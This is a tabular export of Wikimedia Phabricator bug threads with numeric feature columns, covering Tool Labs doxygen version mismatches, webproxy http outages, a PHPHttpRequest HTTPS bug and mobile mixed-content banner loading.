**Severity**: critical",High,80.0,1383065640,1385144007.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,,False,PHID-TASK-6e5c435b2v7yejeovuwh,task_description,resolved,True,c3,1,True,False,True,-88,True,1.5,0.0,0.0,0.5,0.5,10.0,3.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,2.0,0.0,5.5,7.5,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,7.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,3.5,0.0,1.5,0.0,0.0,0.5,13.0,2.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,4.0,3.5,3.0,2.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,0.0,2.5,7.5,1.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.5,1.0,0.0,0.0,4.269230769230769,0.7384615384615385,"Right now tools-login provide doxygen 1.8 but other nodes only doxygen 1.7

this is not the only inconsistency other packages may have different version as well, it seems that old nodes like tools-exec-01 are using different repository.

This should be somehow resolved, for example we need doxygen 1.8 but on exec nodes we have only 1.7, and what is ever worse I am afraid that some exec nodes provide 1.7 while others provide 1.8

if that is true for other packages too, this may have critical impact for certain jobs which expect same version to exist on all execution nodes

--------------------------
**Version**: unspecified
**Severity**: critical"
261807,tools-login has different repository than other nodes,"With -login having been downgraded to the same version, this unifies all to 1.7.6",,,1385144007,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,True,,,-84,True,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,"With -login having been downgraded to the same version, this unifies all to 1.7.6"
261801,tools-login has different repository than other nodes,"Change 97055 merged by coren:
Tool Labs: install doxygen{,-latex}

https://gerrit.wikimedia.org/r/97055",,,1385143938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9333333333333333,"Change 97055 merged by coren:
Tool Labs: install doxygen{,-latex}

GERRIT_URL"
261794,tools-login has different repository than other nodes,"Change 97055 had a related patch set uploaded by coren:
Tool Labs: install doxygen{,-latex}

https://gerrit.wikimedia.org/r/97055",,,1385141890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.55,0.95,"Change 97055 had a related patch set uploaded by coren:
Tool Labs: install doxygen{,-latex}

GERRIT_URL"
261786,tools-login has different repository than other nodes,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).

I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version.",,,1385141406,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6e5c435b2v7yejeovuwh,task_subcomment,,True,c3,1,True,,,-84,True,1.0,0.0,0.0,0.0,2.0,7.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,2.0,1.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.155555555555556,0.7333333333333333,"The version installed on tools-login is, in fact, not available through any of the enabled revisions or repos -- and that specific version seems to come from Quantal (and not unstable, which provides 1.8.5-1).

I have no memory of having backported that package, there is no related log entry nor does there seem to be a ticket in bugzilla requesting that specific version.  I'm going to forcibly restore doxygen to the supported Precise version."
58158,tools-webproxy intermittently down for http,"see http://ganglia.wmflabs.org/latest/?c=tools&h=tools-webproxy&m=load_one&r=hour&s=by%20name&hc=4&mc=2

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1382708100,1383053246.0,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,False,PHID-TASK-q2i23llzx5y57tttmumu,task_description,resolved,True,c3,1,False,False,True,-88,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.55,"see URL

--------------------------
**Version**: unspecified
**Severity**: normal"
275971,tools-webproxy intermittently down for http,*** Bug 56244 has been marked as a duplicate of this bug. ***,,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56244 has been marked as a duplicate of this bug. ***
275963,tools-webproxy intermittently down for http,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-),,,1383053246,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,4.4,0.9428571428571428,Problem located and squished; it turns out that one of the tools was accidentally causing a DDOS by triggering flood protection.  Settings have been tweaked to be more forgiving.  :-)
275954,tools-webproxy intermittently down for http,"There appears to be an intermittent problem, but that problem only affects http:// and not https://",,,1382714329,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.9411764705882355,0.9411764705882353,"There appears to be an intermittent problem, but that problem only affects http:// and not https://"
275947,tools-webproxy intermittently down for http,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).

I'm guessing that the issue is with the ganglia instrumentation.",,,1382711595,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-q2i23llzx5y57tttmumu,task_subcomment,,True,c3,1,True,,,-88,True,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,8.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.8076923076923077,"The proxy actually seems fine, and has been running without interruption (at least, I see no 'blank spots' in the logs since the NFS migration (with 200s in basically every minute).

I'm guessing that the issue is with the ganglia instrumentation."
58047,PHPHttpRequest doesn't work with HTTPS,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1382542620,1399636250.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-i3ra3luvp4o57n2apqkg,task_description,resolved,True,c3,1,False,False,True,-89,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,17.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,11.0,6.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.378787878787879,0.7575757575757576,"Introduced by 1c927b1df2a (Iab2bda1ebc). Turns out PHP expects the context scheme name to be ""http"" regardless of whether the actual protocol is HTTP or HTTPS. This breaks PHPHttpRequest for all HTTPS requests since it no longer sets the stream context properly.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
268960,PHPHttpRequest doesn't work with HTTPS,"Backported to REL1_22, closing again as FIXED.",,,1399636250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.444444444444445,1.0,"Backported to REL1_22, closing again as FIXED."
268957,PHPHttpRequest doesn't work with HTTPS,"Change 132184 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/132184",,,1399546172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9375,1.0,"Change 132184 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268954,PHPHttpRequest doesn't work with HTTPS,"Change 132184 had a related patch set uploaded by MarkAHershberger:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/132184",,,1399545959,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.526315789473684,1.0,"Change 132184 had a related patch set uploaded by MarkAHershberger:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268951,PHPHttpRequest doesn't work with HTTPS,"Change 91393 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/91393",,,1391123566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,"Change 91393 merged by jenkins-bot:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
268948,PHPHttpRequest doesn't work with HTTPS,"Change 91393 had a related patch set uploaded by Parent5446:
Fixed stream wrapper in PhpHttpRequest

https://gerrit.wikimedia.org/r/91393",,,1382542832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-i3ra3luvp4o57n2apqkg,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.157894736842105,1.0,"Change 91393 had a related patch set uploaded by Parent5446:
Fixed stream wrapper in PhpHttpRequest

GERRIT_URL"
57860,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"To replicate, go to https://m.mediawiki.org - with console open, you should see an error like:

[blocked] The page at https://m.mediawiki.org/wiki/MediaWiki ran insecure content from http://meta.m.wikimedia.org/wiki/Special:BannerRandom?uselang=en&sitename=M…roject=wikimedia&anonymous=false&bucket=1&country=US&device=android&slot=6.

I presume this makes it impossible to run CN banners on mobile devices for logged in users.

I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1382059200,1398408159.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-nhm2ipniixhjagqyuoq7,task_description,resolved,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,1.0,0.0,4.5,2.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,2.5,11.5,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,3.5,1.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,2.5,10.5,2.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,11.5,4.5,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,2.0,0.0,0.0,0.5,4.294642857142858,0.8214285714285714,"To replicate, go to URL - with console open, you should see an error like:

[blocked] The page at URL ran insecure content from URL

I presume this makes it impossible to run CN banners on mobile devices for logged in users.

I chatted briefly with Matt Walker about this and it sounds like this is the result of how infrastructure is currently architected, though there may be an easy solution of forcing mobile URLs in CentralNotice using MobileContext::getMobileUrl() from MobileFrontend.

--------------------------
**Version**: master
**Severity**: normal"
258862,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"No reply to comment 8 - assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1398408159,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,11.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4444444444444446,0.8333333333333334,"No reply to comment 8 - assuming this bug is FIXED.
If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed."
258857,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"mwalker:
Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?",,,1392383043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,9.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.4545454545454546,0.9318181818181818,"mwalker:
Patch was merged a while ago - is there more work left to do here (if yes: please reset the bug report status to NEW or ASSIGNED), or can you close this ticket as RESOLVED FIXED?"
258851,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 merged by jenkins-bot:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/92806",,,1383176344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,0.9411764705882353,"Change 92806 merged by jenkins-bot:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258843,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 92806 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/92806",,,1383174528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,"Change 92806 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258833,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:

%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%",,,1383174514,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3125,0.5625,"**mwalker** wrote:

%%%*** Bug 56393 has been marked as a duplicate of this bug. ***%%%"
258825,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"**mwalker** wrote:

eh... not really; the patch didn't work. So! New patch!",,,1383174482,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7083333333333335,0.7916666666666666,"**mwalker** wrote:

eh... not really; the patch didn't work. So! New patch!"
